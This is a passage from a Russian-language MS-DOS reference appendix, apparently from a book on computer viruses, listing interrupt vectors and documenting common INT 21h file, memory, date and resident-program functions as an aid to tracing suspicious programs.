└──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Этот вектор (0:0078) указывает на таблицу параметров дискеты, которую прерывание 13h использует для различных операций с дискетами. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │20│ - │--│ сервис │PROGRAM │ Завершить программу │ │ │ │ │ MS DOS │TERMINATION │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Это прерывание используется для выхода из программы и возврата управления родительскому процессу (обычно COMMAND.COM). Оно восстанавливает значения управляющих векторов INT 22h INT 23h INT 24h и сбрасывает все файловые буфера. Регистр CS должен содержать значение PSP завершающегося процесса. Программы COM-формата обычно выполняются при CS=PSP, И, следовательно, могут выдавать INT 20h в любой момент. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │21│fun│ │ сервис │ DOS │ Функции MS DOS │ │ │ │ │ MS DOS │ SERVICE │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Это прерывание служит главным входом большинства функций DOS. Подробнее см. прил.5. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │22│ - │--│ Указатель│ TERMINATE │Адрес завершения │ │ │ │ │ MS DOS │ ADDRESS │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Адрес в этом векторе (0000:0088) представляет собой место, куда будет передано управление, когда текущая программа завершится выполнением функции 20h (традиционный выход в DOS), 21-00h, 21-4Ch(EXIT), 27h (TSR: Завершиться, но остаться резидентным) или 21-31h (KEEP). Адрес в этом векторе копируется в поле PSP Terminate Address функциями 26h (создать PSP) и 4bh (EXEC). Подробнее см. прил.5. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │23│ - │--│Указатель │ CONTROL "C" │ Адрес выхода по Ctrl-Break │ │ │ │ │ MS DOS │ EXIT ADDRESS │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Адрес в этом векторе (0000:008c) - это адрес, по которому передается управление, когда DOS распознает, что пользователь нажал Ctrl-Break. Адрес по вектору INT 23h копируется в поле PSP Ctrl-Break Address функциями DOS 26h (создать PSP) и 4ch (EXEC). Исходное значение адреса обработчика Ctrl-Break восстанавливается из PSP при завершении программы. Таким образом, по завершении порожденного процесса будет восстановлен адрес обработчика Ctrl-Break из родительского процесса. DOS вызывает INT 23h, когда распознает, что нажата комбинация Ctrl-Break. Реакция на нажатие Ctrl-Break может быть проверена или установлен посредством функции 33h (см. прил.5). ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │24│ - │--│Указатель │ FATAL ERROR │Обработчик критических ошибок │ │ │ │ │ MS DOS │HANDLER ADDRES│ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Этот вектор (0000:0090) хранит адрес, по которому передается управление, когда драйвер устройства DOS обнаруживает критическую ошибку. Адрес по этому вектору копируется в PSP функицями 26h (Создать PSP) и 4bh (EXEC). При выходе родитель- ские значения восстанавливаются в векторе INT 24h из родительского PSP. Нормальный обработчик INT 24h это код, который выдает сообщение: Abort, Retry, Ignore? при неготовности дискеты или принтера. Многие вирусы используют для блокирования этого сообщения собственный обработчик критических ошибок. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │25│ - │--│ сервис │ ABSOLUTE │ Прямая дисковая операция чтения │ │ │ │ │ MS DOS │ DISK READ │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Этот сервис DOS предоставляет прямой доступ к любому сектору диска, доступному через DOS-BIOS или устанавливаемые драйверы устройств. Логические секторы DOS начинаются с корневого сектора . Первый сектор в разделе DOS - это логический сектор 0. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │26│ - │--│ сервис │ ABSOLUTE │ Прямая дисковая операция записи │ │ │ │ │ MS DOS │ DISK WRITE │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ См. пояснение к прерыванию 25h. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │27│ - │--│ сервис │TERMINATE BUT │ Завершиться, │ │ │ │ │ MS DOS │STAY RESIDENT │ но остаться резидентным │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Возвращает управление DOS, оставляя часть памяти распределенной, так что последующие программы не будут перекрывать программный код или данные в этой памяти. INT 27h - это традиционный метод создания резидентных программ который используется рядом простых вирусов. Наряду с ней используется функция 31h (KEEP) см. прил.5. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │28│ - │3+│ сервис │ KEYBOARD │ Квант времени DOS │ │ │ │ │ MS DOS │ BUSY LOOP │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Это недокументированное прерывание DOS использует, когда ждет нажатия клавиши, а также перед вызовом некоторых функций DOS с номерами до 0ch включительно. PRINT (спулер печати MS DOS) перехватывает этот вектор, чтобы найти квант времени для чтения файлов и вывода на принтер. Это прерывание используется также различными резидентными программами. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │2A│fun│3+│Microsoft │ NETWORK │ │ │ │ │ │Networks │ │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │2E│ - │3+│ сервис │ EXECUTE │Выполнить команду DOS │ │ │ │ │ MS DOS │ COMMAND │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Это недокументированное прерывание выполняет команду DOS, как если бы эта команда была введена в ответ на подсказку DOS. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │2F│fun│3+│ сервис │ PRINT │Мультиплексное прерывание │ │ │ │ │ MS DOS │ Multiplexor │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Этот вектор (0000:00bc) предоставляет средства управления процессами, доступные всей системе из любой программы. Часто используется для проверки наличия в памяти той или иной резидентной программы. используется спулером печати (команда PRINT). ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │41│ - │--│ Указатель│ FIXED DISK │ Таблица параметров витнчестера │ │ │ │ │ │ PARAMETERS │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Эта 16-байтовая структура находится по адресу вектора прерывания INT 41h 4-байтовый адрес в 0:0104). Параметры для второго винчестера (если он есть) находятся по адресу вектора INT 46h. Эти таблицы задают некоторые важные переменные для операций с винчестера ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │46│ - │--│ Указатель│ Secondary │ Таблица параметров второго │ │ │ │ │ │ FIXED DISK │ винчестера │ │ │ │ │ │ PARAMETERS │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │4A│ - │--│ │ User Alarm │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │5C│fun│--│ сервис │ NETBIOS │ │ │ │ │ │ MS DOS │ INTERFACE │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │67│fun│--│ сервис │ LIM EMS │ Функции управления расширенной │ │ │ │ │ MS DOS │ INTERFACE │ (EMS) памятью │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │E0│ - │--│ │ │ CP/M-86 function calls │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ ПРИЛОЖЕНИЕ 9 НАИБОЛЕЕ ЧАСТО ИСПОЛЬЗУЕМЫЕ ФУНКЦИИ MS DOS В данном приложении приведены сведения о некоторых распространенных прерываниях MS DOS. Приводимая информация полезна при трассировке "подозрительных" программ и их дизассемблировании. Более подробные сведения можно получить в электронном справочнике TECHHELP Д. Роллинга (D.Rolling). При написании данного приложения использовано руководство Microsoft MS DOS. Operating System 3.3. Programmer Reference Manual. Прерывание 21 фактически не является прерыванием в строгом стысле этого слова, поскольку оно не ведет к приостановке какой-то программы. Это просто метод вызова фунцкий, обеспечиваемых MS DOS и прежде всего функции управления файловой системы. Эволюция MS DOS привела к тому, что одни и те же операции выполняются разными функциями т.е. дублируются, а сам состав функций далек от логичности и ортогональности. Тем не менее функционально операции можно сгруппировать следующим образом (все числа шестнадцатеричные). 0-12 12-24 25 26 27-29 2A-2E - Обмен с символьными устройствами; Работа с файлами с использованием FCB; Установить вектор прерываний Создать программный сегмент Работа с файлами с использованием FCB; Обработка даты и времени: 2A - Выдать дату 2B - Установить дату 2C - Выдать время 2F-38 30 31 35 Разные операции, в том числе: - Выдать номер версии DOS - Закончить и остаться резидентом (KEEP) - Выдать значения вектора прерывания для заданной функции 39-3B 3C-46 47 48-...- Работа с каталогами; Работа с файлами с использованием логических номеров; Работа с каталогами; Дополнительные операции. Большинство операций использует параметры, задаваемые в регистрах. Для некоторых операций параметр задается в виде строки ASCIIZ текстовой строки, заканчивающейся нулевым байтом. Операции 2F-38 используют вместо блока FCB так называемый "номер файла" (file handle). При создании или открытии файла или устройства в регистре AX возвращается 16-разрядный номер файла. Значения некоторых номеров файлов определены по умолчанию: 0000 0001 0002 0003 0004 Стандартый ввод. Может переназначаться. Стандартый вывод. Может переназначаться. Стандартый вывод сообщений. Не может переназначаться. Стандартый коммуникационный канал. Стандартое устройство печати. Обычно функция MS DOS вызывается путем занесения номера функции в регистр AX (точнее в его старший байт - AH) с последующим вызовом прерывания 21. Однако существуют и другие способы обращения к этим операциям, например с помощью длинного вызова подпрограммы (FAR CALL). Вирусы могут пользоваться нестандартными способами обращения к функциям MS DOS для маскировки и затруднения дизассемблирования кода. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=F Открыть файл, используя FCB ▒▒▒▒▒▒▒ При входе DS:DX указывает на неоткрытый блок управления файлом (FCB). Указанное в нем имя ищется в каталоге; если оно не найдено, то в AL возвращается FF. Если же файл найден, то в AL возвращается 00, а FCB заполняется следующим образом: Если указан код устройства 0 (текущий диск), он заменяется фактическим кодом диска, являеющегося в данный момент текущим (1=A, 2=B и т.д.); поэтому переназначение текущего диска не влияет на открытые файлы. Поле текущего блока (байты C-D) обнуляется. Длина записи (байты E-F) устанавливается равной 80H. Длина файл и дата заполняются на основании информации в каталоге. Если программа работает с файлом, используя размер записи, отличный от 80H байт, установленных по умолчанию, она должна изменить ее в FCB; она также должна заполнить поля номера записи. Это должно быть сделано до первого обращения к файлу. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=10 ▒▒▒▒▒▒▒ Закрыть файл, используя FCB Эта операция заносит в каталог информацию об изменениях файла. При входе DS:DX указывает на открытый блок управления файлом (FCB). Указанный файл ищется в каталоге; если он не найден, то DOS предполагает, что была сменена дискета, и в AL возвращается FF. Если же файл найден, то в AL возвращается 00, и производится модификация каталога. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=11 ▒▒▒▒▒▒▒ Искать первое имя по образцу, используя FCB При входе DS:DX указывает на неоткрытый блок управления файлом (FCB). В каталоге ищется первое имя, удовлетворяющее заданному в FCB образцу (имя-образец может содержать символы "?" в позициях, где может стоять любая литера). Если такое имя не найдено, то в AL возвращется FF; иначе в AL возвращется 00, а текущий буфер DTA заполняется следующим образом: Если заданный FCB является расширенным, то в первый байт DTA заносится код FF, за ним следует 5 нулевых байтов, затем байт атрибутов из заданного FCB, код устройства (1=A, 2=B и т.д.), и затем 32 байта, содержащие копию найденного элемента каталога. Таким образом, в DTA строится неоткрытый расширенный блок управления файлом с теми же атрибутами, что и у заданного FCB. Если же задан обычный (не расширенный FCB), то в первый байт DTA заносится код устройства (1=A, 2=B и т.д.), и затем 32 байта, содержащие копию найденного элемента каталога. Таким образом, в DTA строится неоткрытый блок управления файлом. При использовании расширенного FCB поиск производится следующим образом: 1. Если байт атрибутов равен 0, то ищутся только имена обычных файлов. Элементы каталога, соответствующие метке тома, подкаталогам, скрытым и системным файлам не анализируются. 2. Если установлены атрибуты скрытого или системного файла, или подкаталога, то они включаются в поиск. При этом выдаются как обычние файлы так и файлы с соответствующими атрибутами. Чтобы просмотреть все элементы каталога, кроме метки тома, следует указать в байте атрибутов "скрытый" + "системный" + "подкаталог". 3. Если указан атрибут метки тома, то ищется только единственный соответствующий элемент каталога. Структура байта атрибутов приведена в Приложении 2. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=12 ▒▒▒▒▒▒▒ Искать следующее имя по образцу, используя FCB После обращения к операции 11, обращение к операции 12 ищет следующее удовлетворяющее заданному в FCB образцу имя. Входные и выходные параметры те же, что и в операции 11. При этом промежуточная информация храниться в зарезервированных полях заданного FCB; поэтому между обращениями к операциям 12 или 11 этот FCB не должен использоваться для других операций. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=13 ▒▒▒▒▒▒▒ Удалить файл, используя FCB При входе DS:DX указывает на неоткрытый блок FCB. Все соответствующие элементы каталога и именумые ими файлы уничтожаются. (Имя в FCB может содержать символы "?" в позициях, где может стоять любая литера). Если таких элементов нет, в регистре AL возвращается FF, иначе 00. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=14 ▒▒▒▒▒▒▒ Последовательное чтение, используя FCB При входе DS:DX указывает на открытый блок FCB. Запись, указываемая номером текущего блока (байты C-D) и номером текущей записи (байт 1F) пересылается в буфер DTA; номер записи увеличивается на 1. Длина записи определяется из поля длины записи. Если обнаружен конец файла, в регистре AL возвращается 01 или 03. Код 01 указывает, что в буфер не переслано данных, код 03 соответствует ситуации, когда в файле остались данные, но меньше, чем длина записи; в последнем случае запись в буфере DTA дополняется нулевыми байтами. Код 02 означает, что системный буфер слишком мал для обработки записи и запись переслана не полностью. Код 00 свидетельствует о нормальном завершении операции. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=15 ▒▒▒▒▒▒▒ Последовательная запись, используя FCB При входе DS:DX указывает на открытый блок FCB. Запись из буфера DTA длиной, указанной в поле длины записи, записывается в файл в позицию, указываемую номером текущего блока и номером текущей записи; (при длине записи, меньшей длины сектора, происходит буферизация). Номер записи увеличивается на 1. В регистре AL возвращается код завершения: 01 диск полон; 02 - системный буфер слишком мал для обработки записи и запись переслана не полностью. Код 00 свидетельствует о нормальном завершении операции. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=16 ▒▒▒▒▒▒▒ Создать файл, используя FCB При входе DS:DX указывает на неоткрытый блок FCB. Указанное в нем имя ищется в каталоге; если оно найдено, то соответствующий элемент каталога используется для нового файла, иначе ищется пустой элемент; если такового нет, в регистре AL возвращается FF. Иначе элемент каталога инициализируется, устанавливается нулевая длина файла, файл открывается и в регистре AL возвращается 00. Используя расширенный FCB с соответствующими атрибутами, можно пометить создаваемый файл как скрытый. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=17 ▒▒▒▒▒▒▒ Переименовать файл, используя FCB При входе DS:DX указывает на блок управления файлом (FCB), содержащий второе имя непосредственно после первого, т.е. по адресу DS:DX + 11H (обычно эта часть FCB зарезервирована). Все имена, соответствующие имени-образцу, изменеются в соответствии со вторым именем. При этом литеры имени файла в тех позициях, где в имени-образце стоит "?" не изменяются. При переименовании проверяется, чтобы в каталоге не появилось два одинаковых имени. Если операция завершается успешно, AL содержит 00, иначе (если имя не найдено или переименование привело бы к дублированию имени) в AL возвращается 00. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=19 ▒▒▒▒▒▒▒ Текущий диск В регистре AL возвращается код устройства, являющегося текущим диском (0=A, 1=B и т.д.). ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=1A ▒▒▒▒▒▒▒ Задать адрес DTA Область памяти, на которую указывает DS:DX, становится текущим буфером DTA. При операциях обмена DOS не допускает перехода через границу сегмента. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=21 ▒▒▒▒▒▒▒ Чтение с прямым доступом, используя FCB При входе DS:DX указывает на открытый блок FCB. Значения полей номера блока и номера записи устанавливаются в соответствии со значением поля номера записи для прямого доступа; соответствующая запись пересылается в буфер DTA. Если обнаружен конец файла, в регистре AL возвращается 01 или 03. Код 01 указывает, что в буфер не переслано данных, код 03 соответствует ситуации, когда в файле остались данные, но меньше, чем длина записи; в последнем случае запись в буфере DTA дополняется нулевыми байтами. Код 02 означает, что системный буфер слишком мал для обработки записи и запись переслана не полностью. Код 00 свидетельствует о нормальном завершении операции. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=22 ▒▒▒▒▒▒▒ Запись с прямым доступом, используя FCB При входе DS:DX указывает на открытый блок FCB. Значения полей номера блока и номера записи устанавливаются в соответствии со значением поля номера записи для прямого доступа. Запись из буфера DTA длиной, указанной в поле длины записи, записывается в файл в соответствующию этим полям позицию. (при длине записи, меньшей длины сектора, происходит буферизация). Номер записи увеличивается на 1. В регистре AL возвращается код завершения: 01 диск полон; 02 - системный буфер слишком мал для обработки записи и запись переслана не полностью. Код 00 свидетельствует о нормальном завершении операции. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=23 ▒▒▒▒▒▒▒ Определить длину файла, используя FCB При входе DS:DX указывает на неоткрытый блок FCB. Указанное в нем имя ищется в каталоге; если оно не найдено, то в AL возвращается FF. Если же файл найден, то в AL возвращается 00, а в FCB в поле номера записи для прямого доступа заносится число записей в файле. Перед обращением к этой операции, в FCB следует занести необходимую длину записи; иначе будет получен неверный результат. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=24 ▒▒▒▒▒▒▒ Задать поле номера записи для прямого доступа, используя FCB При входе DS:DX указывает на открытый блок FCB. Эта операция заносит в поле номера записи для прямого доступа значение, соответстующее номеру текущего блока и номеру текущей записи. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=25 ▒▒▒▒▒▒▒ Установить вектор прерываний В таблицу векторов прерываний для прерывания с номером, указанным в AL, заносится 4-х байтный адрес, содержащийся в DS:DX. Содержимое вектора прерываний может быть получено операцией 35. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=26 ▒▒▒▒▒▒▒ Создать программный сегмент При входе DX содержит сегментый адрес, где создается новый программный сегмент. При этом текущий PSP (100H байт, начиная с нулевого байта текущего программного сегмента), копируется в новый программный сегмент. В новом PSP изменяется поле размера памяти, доступной данному программному сегменту. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=27 ▒▒▒▒▒▒▒ Чтение блока (прямой доступ) При входе DS:DX указывает на открытый блок FCB; в CX указано число записей, обязательно отличное от нуля. Указанное число записей (длина записи определяется из поля длины записи) считывается из файла в соответствии с полем номера записи для прямого доступа в буфер DTA. Если обнаружен конец файла, в регистре AL возвращается 01 или 03. Код 01 указывает, что последняя считанная запись передана целиком, код 03 означает, что конец файла обнаружен посредине записи. При достижении границы сегмента (FFFF) во время пересылки в буфер обмен завершается и в AL возвращается 02. Код 00 свидетельствует о нормальном завершении операции (все записи прочитаны полностью). В любом случае в регистре CX возвращается число фактически считанных записей и поля номера записи для прямого доступа, номера блока и номера записи увеличиваются соответствующим образом; после завершения операции они указывают на первую не прочитанную запись. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=28 ▒▒▒▒▒▒▒ Запись блока (прямой доступ) Аналогично операции 27, но производится не чтение, а запись и, возможно, контрольное считывание. Если на диске недостаточно места для помещения заданного числа записей, то запись не производится и в регистре AL возвращается 01. Если при входе CX=0, то запись не производится, но длина файла устанавливается равной длине, соответствующей номеру записи для прямого доступа, которая может быть больше или меньше текущей длины файла. (При этом происходит выделение или освобождение кластеров, принадлежащих файлу). ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=2A ▒▒▒▒▒▒▒ Выдать дату Возвращает текущую дату в CX:DX. CX содержит год после 1980 (0 1980, 1 - 1981 и т.д.); DH - номер месяца (1 - январь и т.д), DL - день. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=2B ▒▒▒▒▒▒▒ Установить дату При входе CX:DX содержат дату в том же формате, что и в операции 2A. Если дата задана правильно, она устанавливается как текущая дата и в AL возвращается 00, иначе дата не изменяется и в AL возвращается FF. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=2C ▒▒▒▒▒▒▒ Выдать время Возвращает текущее астрономическое время в CX:DX. CH содержит час (0-23), CL - минуту (0-59), DH - секунду (0-59), DL - сотые доли секунды (0-99). ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=30: ▒▒▒▒▒▒ Выдать номер версии DOS Выдает номер версии в регистрах AL (старшая часть - до точки), и AH (младшая часть - после точки). Для версий до 2.00, AL =0. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=31 ▒▒▒▒▒▒▒ Закончить и остаться резидентом (KEEP) При входе в AL - код возврата, в DX - размер памяти в параграфах. Эта операция завершает выполнение обратившегося к ней процесса и пытается установить длину основного блока памяти этого процесса равным указанному в в DX. Никакие другие блоки памяти, принадлежащие данному процессу, не освобождаются. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=35 ▒▒▒▒▒▒▒ Выдать значения вектора прерывания для заданной функции При входе AL содержит номер прерывания. В регистрах ES:BX возвращается адрес входа в программу обработки этого прерывания. Вектор прерывания может быть изменен операцией 25. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=3D ▒▒▒▒▒▒▒ Открыть файл При входе DS:DX указывает на строку ASCIIZ, содержащую имя устройства, составное имя каталога (path) и имя файла; AL содержит код доступа: 0 - открыть для чтения 1 - открыть для записи 2 - открыть для записи и чтения (модификации) Номер открытого файла возвращается в AX. Текущая позиция устанавливается на первый байт файла (она может быть изменена операцией 42). Полученный номер файла должен использоваться при последующих обращениях к файлу. Время и дату создания/модификации файла можно получить операцией 57, а атрибуты операцией 43. Эта операция открывает как обычные, так и скрытые файлы. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=3E ▒▒▒▒▒▒▒ Закрыть файл При входе BX содержит номер файла. Системные буфера, связанные с файлом, сбрасываются, и файл закрывается. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=3F ▒▒▒▒▒▒▒ Чтение из файла или устройства При входе BX содержит номер файла, CX - число байт для чтения, DS:DX - адрес буфера. В AX возвра- щается число фактически прочитанных байт; нулевое значение указывает на попытку читать после конца файла. Операция пересылает указанное число байт (CX) по указанному адресу (DS:DX) из файла начиная с текущей позиции и сдвигает текущую позицию на число прочитанных байт. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=40 ▒▒▒▒▒▒▒ Запись в файл или устройство При входе BX содержит номер файла, CX - число записываемых байт, DS:DX - адрес буфера. Операция пересылает указанное число байт (CX) из памяти по указанному адресу (DS:DX) в файл начиная с текущей позиции и сдвигает текущую позицию на число пересланных байт. В AX возвращается число фактически записанных байт; его отличие от заданого в BX свидетельствует, об ошибке (обычно переполнение диска). При этом не выдается кода ошибки, программа сама должна проверять совпадение заданной и фактической длин. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=42 ▒▒▒▒▒▒▒ Изменить текущую позицию (Lseek) Текущая позиция определяет номер байта в файле, на которым будет выполняться следующая операция обмена. При входе BX содержит номер файла, AL - код операции, CX:DX - необходимую позицию (старшая часть - в CX). При выходе DX:AX содержит новую текущую позицию (старшая часть - в DX). Операция перемещает текущую позицию в зависимости от занчения AL: AL =0 AL =1 AL =2 Позиция устанавливается относительно начала файла. Позиция устанавливается относительно текущей позиции. Позиция устанавливается относительно конца файла. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=43 ▒▒▒▒▒▒▒ Изменить атрибуты файла При входе AL содержит код операции, DS:DX указывает на строку ASCIIZ, содержащую имя устройства, составное имя каталога (path) и имя файла. Если AL =01, файлу приписываются атрибуты, заданные в CX. Если AL =00, атрибуты файла возвращаются в CX. структура поля атрибутов описана в Проложении 2. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=48 ▒▒▒▒▒▒▒ Выделить память При входе в BX - длина необходимиого блока памяти в параграфах (в параграфе 16 байт). После выполнения операции AX:0 указывает на выделенный блок памяти. Если выделить блок указанной длины невозможно, то в BX возвращается размер максимального свободного блока (в параграфах). 